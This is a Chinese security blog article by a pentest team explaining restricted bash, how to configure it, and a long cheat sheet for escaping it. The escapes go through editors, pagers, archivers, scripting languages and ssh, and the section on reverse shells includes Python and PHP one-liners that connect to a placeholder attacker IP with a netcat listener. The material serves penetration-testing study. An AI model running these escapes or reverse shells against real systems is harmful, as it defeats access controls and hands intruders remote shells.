Restricted Bash繞過技巧

語言: CN / TW / HK

0x01 前言

在如今網路安全管理越來越規範,安全運維安全管理逐漸重視,在各種系統配置中運維人員都設定了各種限制,在滲透測試中能獲得一個未受限制的shell變得非常困難,為了安全管理運維人員通常會給不同使用者設定一些特定的命令限制,來限制非必要命令的執行。

0x02 什麼是Restricted Bash

Restricted Bash(rbash)又叫做Restricted Shell,顧名思義就是受限制的shell。Linux的shell功能強大,以至於整個Linux系統可以精準的使用shell來控制。在Linux不同使用者之間,當你執行的一個系統命令時,它可能是危險的不可逆命令,為不同使用者之間設定不同許可權進行安全管理引入了限制Bash Shell,防止一些非必要許可權使用者執行有害系統的高危命令。

再比如一臺Linux系統伺服器中採用多使用者管理,部分使用者沒有sudo許可權,但是這些使用者可以檢視系統目錄中大部分內容,雖然沒有許可權進行編輯但是不希望這些使用者檢視這些目錄,這時可以通過rbash在不調整系統上每個資料夾許可權的情況下通過限制使用者輸入某些命令來限制使用者隨意檢視。

簡單來說rbash與shell的區別就是限制一些行為,讓一些命令無法執行。

0x03 rbash中的限制

rbash中的限制如下列所示

  • 使用 cd 命令

  • 修改 $PATH $SHELL $BASH_ENV$ENV 的值

  • 執行包含 / (斜槓)字元的程式, /usr /bin ./

  • 使用 > >| <> >& &>>> 等重定向輸出

  • 使用 set + r set + o 關閉限制

  • 退出指令碼內受限制的模式

rbash的存在是為了提高系統的安全性,但對於滲透者而言rbash限制嚴重影響了我們在目標機上的資訊收集,以及常用的反彈shell。

0x04 為使用者啟用rbash示例

1.建立測試使用者

使用具有sudo特權的使用者建立一個新測試使用者

sudo useradd -m test -s /bin/rbash       ## 建立一個使用者名稱為test,並且設定test登入shell為rbash
sudo passwd test ## 為test設定密碼

2.為新使用者建立目錄

為test建立bin目錄

sudo mkdir /home/test/bin

3.指定使用者可以執行的命令

為使用者指定可以執行的命令,建立指向新建目錄連結。指定使用者可以執行 mkdir ls ping

sudo ln -s /bin/bash /bin/rbash     ## 從Bash 建立一個名為rbash的符號連結


sudo ln -s /bin/mkdir /home/test/bin


sudo ln -s /bin/ls /home/test/bin


sudo ln -s /bin/ping /home/test/bin

4.限制新使用者修改.bash_profile檔案

sudo chown root. /home/test/.bash_profile
sudo chmod 755 /home/test/.bash_profile

5.修改PATH變數

 vi /home/test/.bash_profile
PATH=$HOME/bin ## 將PATH變數修改為此

6.測試

切換到test使用者下執行相關命令受限

0x05 Linux環境資訊收集

在我們遇到rbash的時候,想要繞過rbash在繞過前需要做一些資訊收集,通過嘗試命令來檢視Linux環境可以做哪些事,檢視rbash限制了那些行為。通過檢視收集rbash限制條件,使用合適的繞過方法進行繞過。

需要檢查的內容如下:

  1. 檢查有哪些可用的命令,如 cd ls cp su

  2. 檢查操作符 > >> < | 等是否可用

  3. 檢查系統是否有程式語言環境Python、ruby、perl等

  4. 檢查root身份可以執行的命令 sudo -l

  5. 檢查具有SUID許可權的檔案或命令

  6. 檢查當前所用的shell, echo $SHELL

  7. 檢查環境變數 env printenv

0x06 rbash繞過方法

1.常見繞過方法

/
如果允許使用“/”直接執行 /bin/sh 或 /bin/bash
cp
如果cp命令被允許可直接複製 /bin/sh 或 /bin/bash 到本地目錄
find
find / -name SomeName -exec /bin/bash \;
  1. 能夠設定PATH或SHELL時

有許可權設定PATH或SHELL時,設定如下
export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
  1. set shell

在一些編輯器中可通過末行執行命令設定shell
:set shell=/bin/bash
:shell
  1. 切換使用者逃逸

在Linux切換使用者時通常用到 susu - ,其中他們的區別是,使用 su 切換使用者不會改變當前的使用者環境,例如從test使用者su到root使用者,當前路徑未發生改變,環境變數仍是test使用者的。使用 su - 切換使用者時使用者環境會發生改變,例如從test使用者su -到root使用者,路徑改變為/root/,環境變數也發生了改變

su - l test      ## test為切換的使用者名稱
su -- test
su --login test
## 在su切換使用者逃逸時還可以在切換使用者時執行spawn shell命令
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" test ## test為要切換的使用者名稱

2.利用Linux現有軟體

  1. 利用ftp

ftp
執行
!/bin/sh
或 !/bin/bash
  1. 利用gdb

gdb
執行
!/bin/sh
或 !/bin/bash
  1. 利用git

執行
git help status
然後執行
!/bin/bash
  1. 利用ed

ed
執行
!'/bin/sh/'
或 !'/bin/bash/'
  1. 利用vi/vim

# 利用在vi/vim中末行模式可以執行命令的特點
vim test 編輯test檔案在末行執行
:!/bin/sh
或 :!/bin/bash
  1. 利用zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"
  1. 利用tar

tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

3.使用程式語言

  1. 利用Python

python -c 'import os; os.system("/bin/bash")'
  1. 利用Perl

perl -e 'exec "/bin/bash";'
  1. 利用Ruby

exec "/bin/bash"
  1. 利用lua

os.execute('/bin/bash').
  1. 利用Perl

perl -e 'exec "/bin/bash";'
  1. 利用awk

awk 'BEGIN {system("/bin/bash")}'
  1. 利用PHP

php -a then exec("bash -i");

4.使用系統命令反彈shell

  1. 使用python反彈shell繞過

攻擊機開啟監聽
nc -lvp PORT
目標建立連線
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
  1. 使用PHP反彈設shell繞過

攻擊機開啟監聽
nc -lvp PORT
目標機建立連線
php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'

5.利用系統中的二進位制檔案

  1. 利用more

more test #利用編輯器末行執行命令的特點
!'bash'
  1. 利用less

less test.txt  #利用編輯器末行執行命令的特點
!'bash'
  1. 利用man

!'bash'  #利用編輯器末行執行命令的特點

6.利用expect繞過

expect
expect1.1 > spawn bash
spawn bash

7.通過ssh繞過

ssh username@IP -t "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
## ssh 登入時同樣可以通過spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'

0x08總結

筆者在一次滲透靶機的過程中遇到rbash繞過的問題,於是針對於rbash繞過技巧查詢相關資料進行學習,通過借鑑前人經驗,重新對rbash繞過技巧進行了彙總總結,文章中沒有對所有的方法在相關環境下進行一一測試,安全技術是不斷進步的,對於rbash的繞過可能還會有更多的有效方法,希望更多的讀者能對文章的不足進行進行批評指正,如果有更好的技巧希望更多的人分享。

參考連線:https://it.baiked.com/database/4533.html
https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/

Tide安全團隊正式成立於2019年1月,是新潮資訊旗下以網際網路攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網路攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為“省級等保關鍵技術實驗室”先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。 團隊公眾號自建立以來,共釋出原創文章370餘篇,自研平臺達到26個,目有15個平臺已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們